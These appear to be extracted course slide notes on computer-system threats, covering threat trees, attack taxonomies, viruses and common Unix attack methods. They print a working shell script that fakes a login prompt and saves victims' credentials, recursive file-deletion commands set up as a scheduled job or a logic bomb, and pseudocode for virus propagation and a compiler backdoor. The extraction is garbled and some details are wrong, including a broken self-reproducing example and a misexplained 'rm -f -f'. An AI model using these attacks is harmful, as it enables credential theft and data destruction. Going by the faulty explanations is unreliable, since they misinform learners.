Chapter 2

Threats To Computer Systems

2.1 Threats, Vaulnerabilities and Attacks

Threats: defines as any potential occurrence, malicious

and otherwise, that can have undesirable effect on the assets and resources associated with a computer system

Vulenerability: is some unfortunate characteristic that makes it

possible for a threat to potentially occur

Attack: is some action taken by malicious intruder that

involves the exploitation of certain vulnerabilities in order to cause an existing threats to occur

•2.2 Types of Threats

Categorization is needed to allow establishment of simple framework for understanding and solving security problems

Three main types of threats disclosure threat integrity threat denial of service threat

2.2.1 Disclosure threat

This threat involves the dissemination of information to an individual for whom that information should not be seen

This information may be in computer storage or in transit between computer systems

disclosure of information is called “leak”important for confidential organization such

as military, government etc.

2.2.2 Integrity threat

This threat involves any unauthorized change to information stored on a computer system or in transit between computer systems

non-critical information has less consequencecritical information can be disastrousimportant for battle plans and commercial

activities

2.2.3 Denial of service threat

This threat arises whenever access to some computer system resource is intentionally blocked as a result of malicious action taken by another user

critical for delaying weapon deployment or stock dealing

because the services are temporal characterized, this threat is more difficult to address than others

2.3 System Security Engineering

To deal with problems of threats, vulnerabilities and attacks, a new discipline has recently emerged in the security community known as system security engineering

security engineering process (Fig. 2.1) will involve understanding of the security problems and derives protections against these problems

Specify System Architecture

EstimateComponent Risk

Identify Threats,Vulnerabilites, Attacks

PrioritizeVulnerabilities

Identify and Install Safeguards

Risk isAcceptably Low

Figure 2.1 System Security Engineering Process

Specify System Architecture

Inspect the systemexamine the network, host, interface and

other associate architectureuse a structural specification include current

security methods usedinclude a description of functional propertiescreate a security priority list

Identify Threats, Vulnerabilities, Attacks

Identify potential threats from internal and external sources

estimate possible damage arises from attackestablish methodologies for minimise

possibilities of attack

Estimate Component Risk

Develop risk formulaIdentify risk componentsPrioritize risk factor

Prioritize Vulnerabilities

Base on risk priority developed in previous stage

this stage provide an order for installing security protections

limited resources may exist the high risk component will be deal with first

Identify and Install Safeguards

Identify all possible safeguard approaches include standard security mechanisms

safeguard mechanisms will be examined considerations on minimal in impact,

performance degradation, cost and resources are needed

2.4 Threat Tree

High level threats serve as the starting point for further decomposition

threat decomposition is based on a threat treemilitary standard MIL-STD 1785 is usedthreat tree is similar to decision tree used for

risk management & reliability engineering

2.4.1 Arbitrary Threat List Threat can be identified during system

design or developmentit can also identified by a random,

unstructured process called arbitrary threat list process

the list can be enriched during the design, development and operation stages

However, most threats have some unfortunate characteristics

Unfortunate Characteristics

Dubious Completeness: most threats are difficult to be identified completely

Lack of Rationale: known threats are identified by past history however ad hoc nature makes it difficult to rationale

Possible Inconsistencies: threats can be correlated and co-occurred. Independent events cannot prevent contradictory and redundant to be rectified simultaneously.

Arbitrary threat list must be avoidedespecially for some critical system missionsthe development of a threat tree can

overcome most of the shortfalls

2.4.2 Developing a Threat Tree

first identify a list of possible threatsthen introduce them in an iterative manner

and refine the description carefully and gradually

the tree structure allows various threats to be associated in a root-node relationship

this approach can rationale the identified threat and simplify a security solution

2.4.3 Structure of a threat tree

Each tree composes a top label called Threateach label will contain some generalized

description of threat present in a given systemeach root is a sub-threat which represents the

refinement for a given nodethe repetitive process will be terminated when

all threats and sub-threats are identified, i.e. complete

Sub-threat

Threat

Structure of a Threat Tree

Example: Hospital Computer System

Hospital Computer System Threat (HCST) is composed of Patient Medical Information (PMH) and non Patient Medical Information (NPMH)

PMH can further decomposed to Life Threatening (LT) and non Life Threatening (NLT) which both further decomposed to Disclosue (D), Integrity (I) and Denial of Service (DOS)

NMPH can be refined into Billing threat (B) and non Billing Threat (NB). Where both threats are further decomposed into Malicious Developer (MDEV) threats introduced beforehand and those are not (NMDEV) threats

a simplified threat tree for hospital computer system is shown as follows:

Threat Tree of HCS

LT

D

I DOS

PMH

NLT

D I DOS MDEV NMDEV MDEVNMDEV

HCST

NPMH

B NB

Effects:D: confidential patient information is

disclosedI: Patient information is corruptedDOS: Patient information is not availableNMDEV(B) : billing information is

corruptedMDEV (NB): internal schedules are

compromised

2.4.4 Using Threat Tree to Support System Security Engineering

Threat tree allows a structured means for documenting and organizing the estimation and calculations of critical, effort and risk factors

Critical defines the impact of the threat or the gain by introducing security measurements

Effort (E) defines the resources needed to resolve the threat

Risk (R=G/E) defines the normalized impact of threat if being attract

Example on Risk Calculation using (G,E,R) value and maximum risk selection

LT(8,2,4)

I(5,5,1)

PMH(8,2,4)

NLT(2.2,1)

MDEV(1,1,1)

NMDEV(2,1,2)

HCST(8,2,4)

NPMH(2,12)

B(2,1,2)NB(1,1,1)

DOS(8,2,4)D(1,1,1)

2.5 Categorization of Attack

“Computer Crimes are probably the tip of an iceberg - but just how big is the iceberg is no one know” T.Perry & P. Wallich

Traditional three classes: disclosure, integrity and denial of services

Unclassified attacks: internet browsing, computation, storage and whatever

To acoount for specific type of attack - taxonomies are used

2.5.1 Using an Attack Taxonomy

Attack Taxonomy is defined as any generalized categorization of potential attacks that might occur on a given computer system

Informal analysis can be used to identify threats and analytic means (threat tree) can be used to document attack or by reported experience with a target system

Attack scenarios are sometimes identified for certain classes of systems including real-time, database and LAN and they must be dealt with appropriately in the target system in the early stage of security system development

Precisely determination of the system and attack characteristics with the interaction of environment will subsequently develop the final attack taxonomy by reducing the known attacks

Attack Taxonomy

Target system

Attacks to the Target System

Using an Attack Taxonomy

Attack Taxonomy

(manyknownattacks)

Attack Taxonomy(fewer known

attacks)MitigateSelectattacks

MitigateSelectattacks

•••

Reducing Known Attacks

2.5.2 Considerations in Selecting an Attack Taxonomy

Completeness: the categories of attack should be accompanied by evidence that all potentially unfortunate occurrences have been accounted for in the target system. The attack must be justifiable. However, most attacks are unstructured and system dependent, empirical evidence is the strongest justification for completeness in an attack taxonomy.

Appropriateness: The selected attack taxonomy should appropriately characterize the attacks to the target systems. Assumption like malicious insiders are not present. Tradeoff sometimes required to evaluate common highly appropriate attack and less appropriate attack for a specified target systems

Internal vs. external threats: an attack taxonomy should differentiate between attacks form insider and outsider. Sometimes external attack taxonomy is entirely insecure for insider attack.

2.5.3 Example - Simple Attack Taxonomy

Operators Programmers Data Entry Internal Outside IntrudersPhysicalDestruction

BombingShort Circuits

InformationDestruction

Erasedisks

MaliciousSoftware

MaliciousSoftware

Via modem

DataDidding

MaliciousSoftware

False DataEnrty

Theft ofServices

Theft asuser

UnauthorizedAction

Via modem

Browsing Theft ofMedia

UnauthorizedAction

Via modem

Theft ofInformation

UnauthorizedAction

Via modem

2.5.4 Example: Risk-based Empirical Attack TaxonomySimplified taxonomy cannot cater for the

actual situation, empirical taxonomy with reasonable justification can make it more complete

Possible empirical attacks: external information theft (glancing at

someone’s terminal) external abuse of resources (smashing a disk

drive)

Masquerading (recording and playing back network transmission)

pest programs (installing a malicious program) Bypassing authentication or authority

(password cracking) authority abuse (falsifying records) abuse through inaction (intentionally bad

administration) indirect abuse (using another system to create a

malicious program)

External Information theft unauthorized individual stealing information or

glance at other’s terminal to steal sensitive information like password, salary data, confidential information and so on

Avoid by setting external procedures such as secured terminal room, secured printer or paper shredders for discarding sensitive information

External Abuse of ResourcesThis involves physical destruction of hardware such as

disk drives, circuit boards, communication media and so on

Because this is an integrity attack, attacker must physical access to the physical resources but not necessary the internal resources

physical destruction may include vandalizing, switching off air conditioner or electrical power

sometimes abuse may not damage the hardware such as jamming or tapping

Avoidance by introducing physical security means like locked, guarding, surveillance camera and so on

External Masquerading this involves a malicious intruder successfully

impersonating another user using some mechanism external to the computer system

examples are: tapping communication medium, recording the information transferred and playing back this information in a later time

this attack has been used by network hacker to avoid from being located

Avoidance by setting up proper network security procedures but the techniques are not straightforward

Pest Programs this includes attacks that are set up by malicious

individuals to cause subsequent harma pest program can be views as time bomb, I.e. it

will occur at a much later time this time lag may provide opportunity for an

intruder to cover tracks and avoid being caught instantaneous

well know types are Trojan horse and virus attacksCountering pest program requires secure internal

controls, awareness broadcasting and possible some shield programs

Bypassing of Internal Controls this involves the explicit avoidance of controls that

are set up to protect the resources on a computer system

Bypassing usually refers to authorization, access and authority control. The technique is based on clever use of some existing logical flaw in the system

Examples are well known password cracking techniques that subvert protective approaches that contain flaws and operating system and compiler attacks usually involves logical exploitation of flaws to bypass authority

Active Authority Abusethis attack occurs when an individual is

trusted to perform some type of sensitive or important function and then actively abuses this privilege

Examples falsifying certain data entries or granting services in improper manner

Avoidance is difficult but can be minimized by personnel screening, background checks and even polygraph tests

Abuse through Inaction this involves the willful neglect of duty by some

malicious individualattack occurs whenever some action is required to

avoid a harmful situation but is not performedexample is that an administrator has neglected the

maintenance of a system or recorder in order to cause degraded or denied service

avoidance by identifying all possible inaction, this is the first step for all attack avoidance mechanism.

Indirect Abuse this involves an off-line system and is

characterized by behavior that may appear normal but is actually being carried out as a component or step in some comprehensive attack

Example: an indirect abuse involves the factoring a large number on one system as a mean for breaking a protection routine on another system.

Avoidance is extremely difficult because the appearance is completely normal to the system being used.

2.6 Trojan Horses and Viruses

A type of program that is well known of provide self-reproduction is called Trojan Horse

This program is allow to distribute and propagate across different computer systems and is known as virus

2.6.1 Trojan Horses

A Trojan Horse program shall be defined as any program that is expected to perform some desirable function but that actually performs some unexpected and undesirable function

It means that Trojan Horse program may look like a good program but it can potentially turns into harmful

Examples: cat command in unixuser

“cat x”(normal version)

“cat x”(Trojan Horseversion)

Normal sequence ofoperatingsystemroutines

Maliciously altered

sequence ofsystemroutines

In a trusted group, the Trojan Horses is not critical and this approach allows co-workers to share information and resources and the malicious program will not be created

however if Trojan Horses has infiltrated into an trusted environment and can self-reproduced and propagated

this becomes viruses

2.6.2 Viruses

A virus program is defined as any Trojan Horse program that has been designed to self-produce and propagate so as to modify other programs to include a possible modified copy of the virus.

As computer networks have become more widespread, the potential for huge propagation has increased and this type of attack has become serious

Figure below shows how viruses can be created as Trojan horse on one machine and then duplicated on others via some propagation means

Trojan HorseCreation

System A

Trojan HorseDuplication

Trojan HorseDuplication

System B (connected to system A)

System C (No connection to system A)

Manual propagation

Electronicpropagation

2.6.3 Self-Reproducing Programs

Self reproducing program is the key feature of virus

this feature is created by using the following steps: declare a character string that corresponds to the

main body of the program print each character of the defined string individually print the value of the array as a defined character

string

Example: Self reproduce program

Char t[] ={'0', ' ', '}', 'm', 'a', 'i', 'n', …., 't', ')', ';', '}', 0};

main()

{ int i,

printf(“char t[] ={“);

for (i=0; t[i]!=0;i=i+1)

printf(“%d, “, t[i]);

printf(“%s”, t);

}

Self reproducing program is so critical because it provides the basic mean by which copies of a Trojan horse can be produced automatically

combine such copies with a compiler allows one to create as many copies of the Trojan horse as one desires to compile

insertion of addition codes can cause damage when execute

2.6.4 Typical Virus Operation

Malicious intruders can initiate a virus attack by creating a program that does the following: finds a connected system and sends self-reproducing

code via remote copying command initiates a a remote compilation of the self-

reproducing code via the remote execution command

the process can repeat and affect other systems

Virus DuplicateVirus

DuplicateVirus

(1) send reproducing virus

(2) remotely execute virus

(3) sendreproducingvirus

(4) sendreproducingvirus

Virus Propagation

Example : simple virus operation

virus

while true do

find_host (h);

remote_copy (h,virus);

perform_damage;

remote_execute (h,virus);

od;

Example: Internet Virus

First Internet Virus was reported 1988 and was unleashed by a Cornell University student which has infected over 60,000 host computers

the virus attack data, TCP/IP communication protocol and steal password

the virus was detected and terminated by a team from MIT and Berkeley

however, the designer caught claimed that he has made a mistake in the programming

2.6.5 Trojan Horse CluesPresence of Trojan Horse can be detected by:Suspicious Originator and Distribution: choose

some reliable software/hardware manufacturer and distributor to avoid suspicious system components

Unexpected Size or Other Attributes: if the program size and attributes becomes suspicious, such slow time respond, the program needs to be investigated

Undocumented Origin and Experience:malicious or incompetent source are expected for this issue

2.7 Common Attack Methods

Password SpoofPassword theftlogic bomb mailscheduled file removalfield separator attackinsertion of compiler Trojan Horse

2.7.1 Password Spoof Program

The first type of attack involves spoofing a user into believing that a computer terminal is correctly prompting that user for login and password information

normally, a Trojan Horse program is used to fake the normal login sequence that a user expects

Properties of spoofing program: the attacker gains physical access to the target

individual’s computer terminal the attacker logs onto the target system using

whatever login and password are available to the attacker (if the attacker is an insider, then they could be his own). It is possible to use a different target computer with some procedure change

the Trojan Horse spoof program is left on the terminal for the target individual.

Example: Unix-like command

B1=‘ORIGIN: NODE whd1 MODULE 66 PORT 12’

B2=‘DESTINATION:’

FILE=$HOME/secure/suckers/fools

trap ‘’ 1 2 3 5 15

echo $B1

sleep 1

echo $B2

read dest

echo ‘login:

read login

stty -echo

echo ‘password:

read password

stty echo

echo ‘’

echo $login $ password >>$file

echo ‘login incorrect’

exec login

Responds

ORIGIN: NODE whd1 MODULE 66 PORT 12’

DESTINATION: node/mysystem

login: abc

password:xxxxx

login incorrect

login: abc

password:xxxxx

$

2.7.2 Password theft by clever reasoning

Password are mnemonic and can be guessed easily

First guess example: spouse’s name, children’s name, pet’s name, license plate number, phone number, date of birth, date of marriage, favorite sports team and so on

Second guess example - easy to type pattern: “qaql”

Last approach - attack on the password file and encryption function obtain a copy of the password and encryption

function obtain an electronic dictionary create a routine that encrypt every entry in the

dictionary and compare it with all entries in your copy of the password file

any match will real a valid password

Advantages: the intruder does guess or infer the password directly, the attack can be performed offline

2.7.3 Logic Bomb MailLogic bombs are programs that remain

dormant until some predetermined logical condition on the target system becomes true

Step for setting up logic bomb: set up a command that removes all files (e.g. “rm”)

as an edit parameter to file EDIT_ME mail EDIT_ME to your system administrator

if the administrator do not open the file, it will do no damage otherwise all file will be erased

2.7.4 Scheduled File RemovalSchedule file is used to schedule the smooth

running of programs in a computerOn UNIX, command “at” is usedExample:

rm -f -f /usr

at 0400 Sunday attack

Program will be placed in the write-protected directory and will execute file removable recursively (-f) without diagnostics (-f) every Sunday

2.7.5 Field Separator Attack

This attack relies on several technical assumptions: field separators exist privilege execution program/command exist the actual file name of the administrator want to

execute

Steps to create such attack redefine ‘/’ as ‘ ’ hence pathname “/foo/moo”

becomes “ foo moo” knowing the administrator will use “sysprog” to

open file called “/foo/moo”, create a program call “foo” in an accessible directory. Program “foo” will transfer the administrator to the intruder

when “sysprog” is invoked, the program “foo” is executed and the attack is achieved.

2.7.6 Insertion of Compiler Trojan Horse

Compiler Trojan Horse attack will create a more widespread damage

Normal simplified Compiler operation:compile:

get (line);

translate (line);

The goal of Trojan Horse is to look for certain text patterns in the input programs for compile to translate and code insertion

Example:Compile:

get (line);

if line = ‘read_pwd(p)” then

translate (Trojan horse insertion);

else

translate (line);

fi;

The Trojan Horse program may introduce a password backdoor and allow get into the system using common password like “12345”

2.7.7 Simple Attack Prevention Methods

Individual Screening checking background of individual who allow to

access the system may introduce attack to the system

Physical Control securr the facilities with an enclosed

environment

Care in operation set up security procedures

2.8 References

E Amoroso - Chapters 1- 5